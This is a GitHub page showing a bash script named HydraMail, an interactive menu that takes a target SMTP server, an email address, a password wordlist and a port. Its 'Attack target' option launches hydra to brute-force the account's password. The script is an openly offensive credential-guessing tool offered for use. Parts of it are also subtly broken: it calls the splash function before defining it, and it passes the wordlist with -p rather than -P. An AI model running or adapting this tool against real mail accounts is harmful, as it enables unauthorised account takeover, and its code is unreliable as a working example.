-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhydramail.sh
145 lines (129 loc) · 3.14 KB
/
hydramail.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/bin/bash
# TITLE: HydraMail
# AUTHOR: RJ Levesque, Jr. - Majik Cat Security
# DATE: August 21, 2019
# GITHUB: https://github.com/hwac121
#============================================#
# CHECK FOR ROOT #
#============================================#
clear
splash
if [ "$EUID" -ne 0 ]
then
echo "You must run as root!"
exit
fi
#============================================#
# FUNCTIONS #
#============================================#
splash(){
echo -e "\e[32m _ _ _ _ \e[0m";
sleep 0.05
echo -e "\e[32m( ) ( ) ( ) /'\_/\`\ _ (_ ) \e[0m";
sleep 0.05
echo -e "\e[32m| |_| | _ _ _| | _ __ _ _ | | _ _ (_) | | \e[0m";
sleep 0.05
echo -e "\e[32m| _ |( ) ( ) /'_\` |( '__)/'_\` )| (_) | /'_\` )| | | | \e[0m";
sleep 0.05
echo -e "\e[32m| | | || (_) |( (_| || | ( (_| || | | |( (_| || | | | \e[0m";
sleep 0.05
echo -e "\e[32m(_) (_)\`\__, |\`\__,_)(_) \`\__,_)(_) (_)\`\__,_)(_)(___)\e[0m";
sleep 0.05
echo -e "\e[32m ( )_| | \e[0m";
sleep 0.05
echo -e "\e[32m \`\___/' \e[0m";
sleep 0.05
echo " "
}
credits(){
echo -e " "
echo -e "Developed by\e[32m Majik Cat Security\e[0m"
sleep 1.5
echo -e "Written:\e[32m July of 2019\e[0m"
sleep 1.5
echo -e " "
echo -e "Web URL:\e[34m http://www.majikcat.com\e[0m"
sleep 1.5
echo -e "GitHub:\e[34m https://github.com/hwac121\e[0m"
sleep 1.5
echo -e "eMail:\e[36m [email protected]\e[0m"
sleep 3.0
echo -e " "
clear
}
#============================================#
# MAIN MENU #
#============================================#
options=("Set options" "Show options" "Attack target" "Credits" "Quit")
PS3=':--> '
while [ "$menu" != 1 ]; do
clear
splash
select opt in "${options[@]}" ; do
case $opt in
"Set options")
clear
splash
echo -e "Enter target smtp server (ie smtp.mymail.com)"
read tmserver
echo -e "Enter target email (ie [email protected])"
read temail
echo -e "Set path to wordlist (ie /home/user/wordlists/rockyou.txt)"
read wordlist
echo -e "Enter port number to use (ie 465)"
read tport
break
;;
"Show options")
clear
splash
echo " "
echo -e "SMTP server is:\e[31m $tmserver\e[0m"
echo " "
sleep 0.05
echo -e "Email login is:\e[34m $temail\e[0m"
echo " "
sleep 0.05
echo -e "You chosen wordlist is:\e[32m $wordlist\e[0m"
echo " "
sleep 0.05
echo -e "Your chosen port is:\e[36m $tport\e[0m"
sleep 5
break
;;
"Attack target")
clear
splash
echo " "
echo "Close the popup terminal window to continue..."
xterm -hold -e hydra $tmserver smtp -l $temail -p $wordlist -s $tport -S -v -V
break
;;
"Credits")
clear
splash
credits
break
;;
"Quit")
clear
splash
echo -e " "
echo -e "Thanks for using HydraMail by Majik Cat Security - July 2019"
echo -e "GitHub: https://github.com/hwac121"
sleep 3
clear
menu=1
break
;;
*)
clear
splash
echo -e "invalid option $REPLY"
sleep 3
break
;;
esac
done
done
exit 0